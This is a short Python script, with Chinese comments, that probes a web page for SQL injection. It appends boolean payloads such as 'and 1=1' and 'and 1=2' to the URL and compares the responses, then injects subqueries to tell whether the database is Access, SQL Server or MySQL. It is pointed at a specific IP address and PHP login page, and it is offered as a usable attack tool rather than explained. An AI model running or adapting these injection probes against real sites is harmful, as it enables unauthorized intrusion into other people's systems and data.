#coding=utf-8
import urllib.request
import os
from re import search
class Test():
def __init__(self,url=""):
self.url = url#默认的url为空
self.a='%20and%201=1' #简单的检测语句
self.b='%20and%201=2'
self.urls=[]#注入的url列表 存储注入的url
self.page=self.getPage(self.url)
def getPage(self,url):
return urllib.request.urlopen(url).read()
def judgeUrl(self):
pagea=urllib.request.urlopen(self.url+self.a).read()
pageb=urllib.request.urlopen(self.url+self.b).read()
if self.page==pagea and self.page!=pageb:
return True
else:
return False
#判断数据库的类型
def dbName(self):
dbName="未知"
access=urllib.request.urlopen(self.url+"and%20(select%20count(*)%20from%20MSysAccessObjects)>0").read()
sqlserver=urllib.request.urlopen(self.url+"and%20(select%20count(*)%20from%20sysobjects)>0").read()
mysql=urllib.request.urlopen(self.url+"%20and%20length(user())>0").read()
if self.page==access:
dbName="Access"
if self.page==sqlserver:
dbName="SQLServer"
if self.page==mysql:
dbName="MySQL"
return dbName
test=Test("http://62.234.74.205/Login/Detail.php?id=1")
